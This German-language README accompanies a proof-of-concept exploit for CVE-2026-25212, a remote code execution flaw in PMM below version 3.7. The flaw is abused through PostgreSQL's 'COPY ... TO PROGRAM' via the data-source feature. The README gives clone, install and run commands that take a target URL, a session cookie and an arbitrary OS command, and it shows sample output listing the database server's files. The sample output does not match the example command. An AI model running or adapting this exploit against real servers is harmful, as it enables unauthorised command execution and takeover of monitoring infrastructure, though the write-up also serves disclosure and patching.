
POC for CVE-2026-25212
Kritisch – CVSS 9.9 – Authentifizierte Remote-Codeausführung in PMM < 3.7.
Dieser Proof-of-Concept nutzt eine Schwachstelle aus, bei der ein interner PostgreSQL-Benutzer in PMM 'SUPERUSER'-Rechte behält. Ein authentifizierter Angreifer (mit 'pmm-admin'-Rechten) kann die Funktion "Datenquelle hinzufügen" missbrauchen und mithilfe von 'COPY ... TO PROGRAM' von PostgreSQL beliebige Betriebssystembefehle ausführen.
Betroffene Versionen: PMM < 3.7
Behobene Version: PMM 3.7 (und später)
requests (pip install requests)git clone https://github.com/5170Temp/CVE-2026-25212
cd CVE-2026-25212
pip install requests
COOKIE_VALUE ist Ihr grafana_session-Cookie-Wert, z.B. 3131e17e1653ee4eeceb703fac45c717
python3 poc.py -t https://pmm.example.com --cookie "COOKIE_VALUE" -c "id"
Beispielausgabe:
[+] UID: krfbxa-Dk
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
[+] Erledigt